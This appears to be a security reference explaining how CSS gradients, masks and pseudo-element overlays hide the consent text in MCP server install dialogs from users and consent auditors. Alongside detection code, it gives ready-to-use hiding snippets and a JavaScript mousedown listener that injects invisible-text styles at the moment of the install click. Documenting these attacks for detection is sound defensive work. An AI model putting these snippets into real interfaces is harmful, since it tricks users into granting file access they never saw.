CSS Gradient Attacks as MCP Consent Bypass: linear-gradient, radial-gradient, and Repeating Variants

When a CSS gradient is placed on background-image alongside background-clip: text (or -webkit-background-clip: text), the browser uses the gradient as the glyph fill for the element's text. If the gradient is fully transparent — e.g., linear-gradient(transparent, transparent) or radial-gradient(circle, transparent, transparent) — the text is rendered with invisible ink. The element occupies its full layout space. Its textContent is intact. Its getBoundingClientRect() returns a non-zero, in-viewport rectangle. Everything a consent auditor typically checks passes.

The -webkit-text-fill-color mechanism

The attack requires one more property: -webkit-text-fill-color: transparent. This property, now supported in all major browsers, overrides color for the purpose of glyph rendering but does not change the value returned by getComputedStyle(el).color. A consent checker that reads color will see the legitimate color declaration — often #333 or rgb(0,0,0) — and conclude the text is visible. It is not.

Attack code (linear-gradient variant)

.consent-text {
  /* declared color looks normal */
  color: #1a1a1a;
  /* background-clip:text uses gradient as glyph fill */
  background-image: linear-gradient(transparent 0%, transparent 100%);
  background-clip: text;
  -webkit-background-clip: text;
  /* actual render color — overrides `color` for glyphs */
  -webkit-text-fill-color: transparent;
}

Swap linear-gradient for radial-gradient(circle, transparent, transparent), conic-gradient(from 0deg, transparent, transparent), or any repeating variant — the attack is identical. The gradient function name does not matter; the combination of background-clip: text and -webkit-text-fill-color: transparent is the exploit. Different gradient functions evade string-match scanners that check for a specific function name.

Detection

function hasTransparentTextGradient(el) {
  const cs = getComputedStyle(el);
  // getComputedStyle(el).color is unreliable — check webkitTextFillColor
  const fillColor = cs.webkitTextFillColor;
  if (!fillColor) return false;
  // transparent or rgba(..., 0) means text is invisible
  if (fillColor === 'transparent') return true;
  const match = fillColor.match(/rgba\(\s*\d+,\s*\d+,\s*\d+,\s*([\d.]+)\)/);
  if (match && parseFloat(match[1]) < 0.1) return true;
  // also check that background-clip:text is active
  const clip = cs.backgroundClip || cs.webkitBackgroundClip;
  const bg = cs.backgroundImage;
  if (clip === 'text' && bg && bg.includes('gradient')) return true;
  return false;
}

A pseudo-element positioned over a consent container can carry a linear-gradient that fades from opaque white to transparent. This creates a visual effect that looks like a legitimate "fade to load more" pattern — common in card components — while actually obscuring the consent text. The consent element itself has no suspicious properties. All checks on the consent element pass. The pseudo-element is invisible to most consent audit code because pseudo-elements are not in the DOM tree and do not appear in el.children or el.querySelectorAll('*').

.install-dialog {
  position: relative;
}
.install-dialog::before {
  content: '';
  position: absolute;
  inset: 0;
  /* fades the top 45% of the dialog from white to transparent */
  background: linear-gradient(to bottom, white 0%, white 45%, transparent 45%);
  pointer-events: none;
  z-index: 10;
}

The consent paragraph inside .install-dialog passes every check: display:block, visibility:visible, opacity:1, BCR in-viewport, non-zero height. The ::before layer — which covers it — is detected only by reading getComputedStyle(el, '::before') on the parent and checking whether the pseudo's computed size, position, and background-image can produce an overlay over the consent area.

See the linear-gradient consent bypass reference for detailed attack variants including repeating-linear-gradient stripe patterns and JS mousedown injection.

A repeating-linear-gradient with a stripe period matching the consent element's line-height can place an opaque white band over every line of consent text simultaneously. At a 20px line-height, a gradient with 14px white bands and 6px transparent gaps tiles perfectly to block all text. From a distance the consent area looks like it has a faint striped watermark — the kind of decorative texture used in receipt or form designs. The consent text is inaccessible even though neither the text's color nor its opacity is set.

.consent-text {
  /* white stripes every 20px, blocking 14px of each 20px text line */
  background-image: repeating-linear-gradient(
    to bottom,
    rgba(255,255,255,0.97) 0px,
    rgba(255,255,255,0.97) 14px,
    transparent 14px,
    transparent 20px
  );
  /* no background-clip:text — the gradient is a background layer covering the text */
  background-attachment: local;
}

The detection signal here is the backgroundImage property containing repeating-linear-gradient with color stops near white/opaque, and a period that correlates with the element's line-height. A simple check for any repeating- gradient on a consent element's background catches this pattern without requiring geometric calculation.

A radial-gradient can be parameterized to produce an opaque ellipse of arbitrary size and position within the element. An MCP server places a white ellipse centered on the consent container, sized to cover 80% of the width and 60% of the height. The consent text at the edges of the dialog remains visible — the "I agree" opening and the boilerplate clause numbers at the bottom are readable. The operative sentence in the center — "grant this server access to read, write, and execute files" — is covered by white paint. The dialog appears to have content. A human reviewer sees consent text. The key clause is invisible.

.install-dialog::before {
  content: '';
  position: absolute;
  inset: 0;
  /* white ellipse 80% wide × 60% tall, centered */
  background: radial-gradient(
    ellipse 80% 60% at center,
    white 45%,
    transparent 45%
  );
  pointer-events: none;
  z-index: 10;
}

This is a notably deceptive pattern because it is designed to be partially visible. A consent auditor checking "is there text visible?" will see text at the edges and report passing. The attack is selective: it targets only the sentences that matter. Detection requires checking the pseudo-element's gradient shape and correlating it with the consent text's line positions.

See the radial-gradient consent bypass reference for the full attack matrix including the background-clip:text variant and JS mousedown injection.

repeating-radial-gradient tiles a radial gradient radially outward from the center. With a 4px white band and a 9px period, every 9px of radial distance gets another white ring. At 300×100px consent dimensions, this produces approximately 16 concentric rings from the center outward. The entire consent text is covered. The pattern is rotationally symmetric — it looks identical at every rotation, making it visually consistent with a decorative "ripple" or "target" background effect sometimes used in marketing UI. No single ring is obviously placed over a specific sentence. The entire surface is uniformly obstructed.

.consent-text {
  /* concentric white rings — 4px white, 5px transparent, repeat */
  background-image: repeating-radial-gradient(
    circle at center,
    rgba(255,255,255,0.96) 0px,
    rgba(255,255,255,0.96) 4px,
    transparent 4px,
    transparent 9px
  );
}

This variant evades detectors that only scan for repeating-linear-gradient. A robust scanner must check for any gradient function — linear, radial, conic, and their repeating variants — when appearing on consent element background-image or ancestor pseudo-element backgrounds. The specific function family does not change the exploit mechanism.

The radial-gradient security page covers the full detection code for radial and repeating-radial gradient patterns.

conic-gradient sweeps colors around a center point, like sectors of a pie. An MCP server can use a conic gradient to produce a large white wedge covering the majority of the consent text. The wedge shape looks like a design artifact — perhaps a corner highlight or an angular shadow — rather than an obvious overlay. repeating-conic-gradient tiles this wedge repeatedly, producing a pinwheel or checkerboard-like pattern that covers the consent uniformly.

.consent-text {
  /* white sector from 30deg to 330deg — 300 of 360 degrees opaque white */
  background-image: conic-gradient(
    from 0deg at center,
    transparent 0deg 30deg,
    white 30deg 330deg,
    transparent 330deg 360deg
  );
}

.consent-text {
  /* pinwheel: alternating 20deg white and transparent sectors */
  background-image: repeating-conic-gradient(
    white 0deg 20deg,
    transparent 20deg 40deg
  );
}

Both forms are distinct string values from linear-gradient and radial-gradient. A scanner checking backgroundImage.includes('linear-gradient') || backgroundImage.includes('radial-gradient') will not detect conic attacks. The correct check is a pattern that matches any gradient function family. See the conic-gradient consent bypass reference for the full attack matrix including the background-clip:text variant.

CSS mask-image accepts the same gradient functions as background-image. A mask controls alpha compositing: where the mask is opaque (white), the element is fully visible; where the mask is transparent (black), the element is fully hidden. An MCP server sets mask-image: linear-gradient(transparent, transparent) on the consent element. The element is fully masked-out — invisible — while maintaining display:block, visibility:visible, opacity:1, and full textContent. Neither backgroundImage nor color nor any geometry check reveals the attack.

.consent-text {
  /* fully transparent mask = consent invisible */
  mask-image: linear-gradient(transparent 0%, transparent 100%);
  -webkit-mask-image: linear-gradient(transparent 0%, transparent 100%);
  /* opacity still returns 1; backgroundImage is empty; color is #333 */
}

Partial mask attacks are also viable: a mask that is opaque at the bottom (showing install button) and transparent at the top (hiding consent) uses a linear-gradient(transparent 0%, white 60%) mask. The button is interactive and visible. The consent is hidden. The install button works normally because it is outside the masked area or has its own layout.

See the mask-image consent bypass reference for detection of mask-image, -webkit-mask-image, and mask-composite attacks. See the background-image consent bypass reference for gradient-on-background detection patterns.

A well-timed gradient attack does not require any suspicious CSS in the initial page state. The MCP server registers a mousedown listener on the install button. At the start of the mousedown event — before the click event fires and before the user perceives anything has changed — the listener injects a gradient-based overlay onto the consent element. The install click is processed, the user believes they consented to what they read at page load, and the injected gradient is removed in a cleanup function. Static analysis of the page's CSS finds nothing. A consent audit run at DOMContentLoaded finds nothing.

installBtn.addEventListener('mousedown', () => {
  // inject transparent-text gradient at click moment
  consentEl.style.backgroundImage = 'linear-gradient(transparent, transparent)';
  consentEl.style.backgroundClip = 'text';
  consentEl.style.webkitBackgroundClip = 'text';
  consentEl.style.webkitTextFillColor = 'transparent';
  // no setTimeout needed: mousedown fires before click is processed
});

Detecting JS-injected gradient attacks requires a MutationObserver on the consent element (and its ancestors' pseudo-element proxies) throughout the interaction window — from page load until after the install click resolves. A MutationObserver watching style attribute changes can catch inline style injection. A periodic requestAnimationFrame re-check can catch class-based injection where a class containing gradient CSS is added to the consent element.

const mo = new MutationObserver(() => {
  // re-audit consent element on any DOM change
  if (hasGradientAttack(consentEl)) {
    flagConsentTampering('gradient-injection');
    installBtn.disabled = true;
  }
});
mo.observe(consentEl, { attributes: true, attributeFilter: ['style', 'class'] });
mo.observe(consentEl.parentElement, { childList: true, subtree: true });